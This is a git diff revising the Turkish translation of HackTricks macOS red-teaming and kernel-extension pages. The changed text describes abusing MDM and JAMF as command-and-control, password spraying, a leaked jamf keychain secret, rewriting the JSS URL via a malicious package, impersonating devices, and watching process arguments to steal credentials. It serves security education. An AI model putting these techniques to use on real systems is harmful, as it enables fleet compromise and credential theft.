-Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili çağrılacaktı.
+Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikiliniz çağrılacaktı.
Artık macOS'ta bunu bulamıyorum.
@@ -1586,7 +1621,7 @@ Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve macOS'ta bile
**Bu modern MacOS sürümlerinde çalışmıyor**
{% endhint %}
-Ayrıca buraya **başlangıçta çalıştırılacak komutlar yerleştirmek mümkündür.** Tipik bir rc.common betiği örneği:
+Ayrıca buraya **başlangıçta çalıştırılacak komutlar** yerleştirmek mümkündür. Tipik bir rc.common betiği örneği:
```bash
#
# Common setup for startup scripts.
@@ -1693,7 +1728,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md
index 2ef9852a2..9da45aeca 100644
--- a/macos-hardening/macos-red-teaming/README.md
+++ b/macos-hardening/macos-red-teaming/README.md
@@ -2,15 +2,15 @@
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Red Team Expert)!
+AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -19,9 +19,9 @@ HackTricks'ı desteklemenin diğer yolları:
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
-Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirmeyi** başarırsanız, kötü amaçlı yazılımınızı makinelerde dağıtarak **potansiyel olarak tüm bilgisayarları tehlikeye atabilirsiniz**.
+Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
-MacOS ortamlarında kırmızı takım çalışması yaparken MDM'lerin nasıl çalıştığı hakkında biraz anlayışa sahip olmanız **şiddetle önerilir**:
+MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığını anlamak son derece önerilir:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@@ -29,41 +29,41 @@ MacOS ortamlarında kırmızı takım çalışması yaparken MDM'lerin nasıl ç
### MDM'yi C2 Olarak Kullanma
-Bir MDM, profil yükleme, sorgulama veya kaldırma, uygulama yükleme, yerel yönetici hesapları oluşturma, firmware şifresi ayarlama, FileVault anahtarını değiştirme gibi izinlere sahip olacaktır...
+Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresi belirlemeye, FileVault anahtarını değiştirmeye izin verecektir...
-Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden elde etmeye çalışabileceğiniz bir satıcı tarafından imzalanan **CSR'ınıza** ihtiyacınız vardır. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
+Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden **bir satıcı tarafından imzalanan CSR'nızı** almanız gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
-Ancak, kayıtlı bir cihaza bir uygulama yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz.
+Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz.
-Bir cihazı MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve Safari'den indirildiğinde açılacaktır).
+Cihazı bir MDM'ye kaydetmek için, kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir).
-**Mythic agent Orthrus** bu tekniği kullanır.
+**Mythic ajanı Orthrus** bu tekniği kullanır.
### JAMF PRO'yu Kötüye Kullanma
-JAMF, **özel komut dosyaları** (sistem yöneticisi tarafından geliştirilen komut dosyaları), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/süreç izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
+JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi belirleme, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
-#### JAMF otomatik kaydı
+#### JAMF otomatik kayıt
-`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **otomatik kaydın etkin olup olmadığını** kontrol edebilirsiniz. Etkinse **erişim için kimlik bilgileri isteyebilir**.
+Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Eğer etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**.
-[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir parola sıçratma saldırısı gerçekleştirebilirsiniz.
+[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir şifre püskürtme saldırısı gerçekleştirebilirsiniz.
-Ayrıca, uygun kimlik bilgilerini bulduktan sonra diğer kullanıcı adlarını brute-force yöntemiyle deneyebilirsiniz:
+Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısı yapabilirsiniz:
![](<../../.gitbook/assets/image (7) (1) (1).png>)
#### JAMF cihaz Kimlik Doğrulama
-
+
-**`jamf`** ikili dosyası, keşif zamanında herkesle **paylaşılan** anahtar zincirini açmak için gizli anahtarı içeriyordu: **`jk23ucnq91jfu9aj`**.\
-Ayrıca, jamf **LaunchDaemon** olarak **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda kalıcı olarak çalışır.
+**`jamf`** ikili dosyası, keşif zamanında herkesle paylaşılan anahtarı açmak için gizliydi ve o zamanlar: **`jk23ucnq91jfu9aj`** idi.\
+Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır.
#### JAMF Cihaz Devralma
-**`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL**'si **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\
-Bu dosya temel olarak URL'yi içerir:
+**`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL'si**, **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\
+Bu dosya temelde URL'yi içerir:
{% code overflow="wrap" %}
```bash
@@ -78,9 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
4
[...]
```
-{% endcode %}
-
-Böylece, bir saldırgan, bu dosyayı üzerine yazan kötü amaçlı bir paket (`pkg`) bırakabilir ve kurulduğunda **URL'yi Typhon ajanından bir Mythic C2 dinleyicisine ayarlayabilir**, böylece JAMF'ı C2 olarak kullanabilir.
+Böylece, bir saldırgan, bu dosyayı **üzerine yazacak şekilde ayarlanmış kötü amaçlı bir paket (`pkg`) bırakabilir ve yüklendiğinde URL'yi bir Typhon ajanından Mythic C2 dinleyicisine ayarlayarak artık JAMF'ı C2 olarak kötüye kullanabilir.**
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@@ -89,26 +87,26 @@ sudo jamf policy -id 0
```
{% endcode %}
-#### JAMF Taklit Etme
+#### JAMF Taklit
-Bir cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır:
+Cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır:
* Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain`
-Bu bilgilerle, **çalınan** Donanım **UUID**'ye sahip ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajanını** **kancalayın** ve bilgilerini çalın.
+Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajansını kancala** ve bilgilerini çalın.
#### Sırların Çalınması
-Ayrıca, **özel betikleri** Jamf aracılığıyla çalıştırmak isteyebilecek yöneticilerin yerini izleyebilirsiniz. Bu betikler buraya yerleştirilir, çalıştırılır ve kaldırılır. Bu betikler **kimlik bilgilerini içerebilir**.
+Ayrıca, yöneticilerin Jamf aracılığıyla yürütmek isteyebileceği **özel betikleri** izlemek için `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz çünkü bunlar buraya **yerleştirilir, yürütülür ve kaldırılır**. Bu betikler **kimlik bilgilerini içerebilir**.
-Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak geçirilebilir, bu yüzden `ps aux | grep -i jamf`'ı (root olmadan bile) izlemeniz gerekecektir.
+Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir.
-[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) adlı betik, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir.
+[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, eklenen yeni dosyaları ve yeni işlem argümanlarını dinleyebilir.
-### macOS Uzaktan Erişim
+### macOS Uzak Erişim
Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında:
@@ -118,7 +116,7 @@ Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında:
## Active Directory
-Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, alıştığınız gibi aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda **yardım** bulun:
+Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, genellikle yaptığınız gibi aktif dizini **numaralandırmaya çalışmalısınız**. Aşağıdaki sayfalarda **yardım** bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@@ -132,36 +130,36 @@ Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görecek
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
-Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl`'dir:
+Size yardımcı olabilecek bazı **yerel MacOS araçları** da `dscl`'dir:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
-Ayrıca, MacOS için AD'yi otomatik olarak sıralamak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır:
+Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır:
-* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamaya ve içe aktarmaya izin veren Bloodhound denetim aracının bir uzantısıdır.
-* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS üzerinde Heimdal krb5 API'leri ile etkileşim kurmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'leri kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır.
-* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory sıralaması yapmak için JavaScript for Automation (JXA) aracı.
+* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamak ve almak için Bloodhound denetim aracına bir uzantıdır.
+* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi bir diğer çerçeve veya paket gerektirmeksizin macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır.
+* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı, Active Directory numaralandırması yapmak için kullanılır.
-### Alan Bilgisi
+### Alan Bilgileri
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Kullanıcılar
-MacOS kullanıcılarının üç türü vardır:
+MacOS kullanıcılarının üç türü şunlardır:
-* **Yerel Kullanıcılar** - Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılardır.
-* **Ağ Kullanıcıları** - Geçici Active Directory kullanıcılarıdır ve kimlik doğrulaması için DC sunucusuna bağlantı gerektirirler.
-* **Mobil Kullanıcılar** - Kimlik bilgileri ve dosyaları için yerel bir yedek olan Active Directory kullanıcılarıdır.
+- **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılar.
+- **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirir.
+- **Mobil Kullanıcılar** — Kimlik ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcıları.
-Kullanıcılar ve gruplar hakkındaki yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
-Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ adlı grupla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur.
+Kullanıcılar ve gruplarla ilgili yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
+Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur.
-MacHound, Bloodhound veritabanına HasSession ve AdminTo kenarlarına ek olarak **üç yeni kenar** ekler:
+HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**:
-* **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık
-* **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık
-* **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık
+- **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık
+- **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık
+- **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık
```bash
#User enumeration
dscl . ls /Users
@@ -185,9 +183,9 @@ dsconfigad -show
```
Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) adresine bakabilirsiniz.
-## Keychain'e Erişim
+## Anahtarlık Erişimi
-Keychain, muhtemelen bir prompt oluşturmadan erişilen hassas bilgileri içerir ve bu da bir kırmızı takım egzersizinde ilerlemeye yardımcı olabilir:
+Anahtarlık büyük olasılıkla hassas bilgiler içerir ve eğer bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@@ -195,13 +193,13 @@ Keychain, muhtemelen bir prompt oluşturmadan erişilen hassas bilgileri içerir
## Harici Hizmetler
-MacOS Kırmızı Takım çalışması, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu** normal bir Windows Kırmızı Takım çalışmasından farklıdır. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws gibi) erişmektir.
+MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete erişmek** (github, aws gibi).
## Çeşitli Kırmızı Takım teknikleri
### Safari
-Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik olarak açılır**. Örneğin, bir zip dosyası indirirseniz, otomatik olarak açılır:
+Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise **otomatik olarak açılacaktır**. Örneğin, bir zip dosyası indirirseniz, otomatik olarak açılacaktır:
@@ -212,17 +210,3 @@ Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
-
-
-
-AWS hackleme konusunda sıfırdan kahramana dönüşmek içinhtARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
-
-HackTricks'i desteklemenin diğer yolları:
-
-* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
-* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.**
-
-
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index 2f5958c63..2210e558c 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -1,48 +1,48 @@
-# macOS Çekirdek Uzantıları
+# macOS Kernel Uzantıları
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-* **Bir siber güvenlik şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
-* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin.
-* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **beni takip edin**.
-* **Hacking hilelerinizi göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
+* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
+* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
+* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
+* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
## Temel Bilgiler
-Çekirdek uzantıları (Kext'ler), ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantılı **paketlerdir** ve doğrudan macOS çekirdek alanına yüklenir.
+Kernel uzantıları (Kexts), ana işletim sistemine ek işlevsellik sağlayan ve **`.kext`** uzantısına sahip **paketler** olan **doğrudan macOS çekirdek alanına yüklenen** bileşenlerdir.
### Gereksinimler
-Açıkçası, bu kadar güçlü olduğu için bir çekirdek uzantısını yüklemek **karmaşık bir işlemdir**. Bir çekirdek uzantısının yüklenmesi için karşılanması gereken **gereksinimler** şunlardır:
+Bu kadar güçlü olduğundan, bir kernel uzantısını yüklemek **oldukça karmaşıktır**. Bir kernel uzantısının yüklenmesi için karşılanması gereken **gereksinimler** şunlardır:
-* **Kurtarma moduna girildiğinde**, çekirdek **uzantılarının yüklenmesine izin verilmelidir**:
+* Kurtarma moduna **girildiğinde**, kernel **uzantılarının yüklenmesine izin verilmelidir**:
-
+
-* Çekirdek uzantısı, yalnızca **Apple tarafından verilebilen bir çekirdek kodu imzalama sertifikasıyla imzalanmalıdır**. Apple, şirketi ve nedenlere ayrıntılı olarak inceleyecektir.
-* Çekirdek uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım kontrol edilebilir.
-* Ardından, **root** kullanıcısı, çekirdek uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kullanıcıdır.
-* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konuma** hazırlanması gerekmektedir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
-* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bunu yüklemek için bilgisayarın **yeniden başlatılması gerekmektedir**.
+* Kernel uzantısı, yalnızca **Apple tarafından verilebilen bir çekirdek kodu imzalama sertifikasıyla** imzalanmış olmalıdır. Şirketi ve neden gerekli olduğunu detaylı olarak inceleyecek olan Apple.
+* Kernel uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım için kontrol edilebilir olacaktır.
+* Ardından, **root** kullanıcısı, kernel uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kişidir.
+* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konumda** hazırlanması gerekir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
+* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bilgisayarın yüklenmesi için **yeniden başlatılması gerekecektir**.
-### Yükleme işlemi
+### Yükleme Süreci
-Catalina'da durum şöyleydi: **Doğrulama** işlemi **kullanıcı alanında** gerçekleşir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, çekirdeğe bir uzantı yüklemesini **istemek için çekirdeğe başvurabilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
+Catalina'da böyleydi: **Doğrulama** sürecinin **userland**'da gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, uzantının yüklenmesini istemek için çekirdeğe başvurabilir: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
-1. **`kextutil`** komut satırı arayüzü, bir uzantıyı yüklemek için **doğrulama** işlemini **başlatır**
-* Bir **Mach hizmeti** kullanarak **`kextd`** ile iletişim kurar.
-2. **`kextd`**, imza gibi birkaç şeyi kontrol eder
-* **`syspolicyd`** ile iletişim kurarak uzantının **yüklenip yüklenemeyeceğini kontrol eder**.
-3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay istemi** yapar.
-* **`syspolicyd`**, sonucu **`kextd`'ye bildirir**.
-4. **`kextd`**, sonunda çekirdeğe uzantıyı **yüklemek için** izin verebilir
+1. **`kextutil`** cli, bir uzantının yüklenmesi için **doğrulama** sürecini **başlatır**
+* Bir **Mach servisi** kullanarak **`kextd`** ile iletişim kuracaktır.
+2. **`kextd`**, imza gibi birkaç şeyi kontrol edecek
+* Uzantının **yüklenip yüklenemeyeceğini kontrol etmek** için **`syspolicyd`** ile iletişim kuracaktır.
+3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay isteği gönderecektir**.
+* **`syspolicyd`**, sonucu **`kextd`'ye** bildirecektir
+4. **`kextd`**, sonunda çekirdeğe uzantıyı yüklemesi için **talimat verebilecektir**
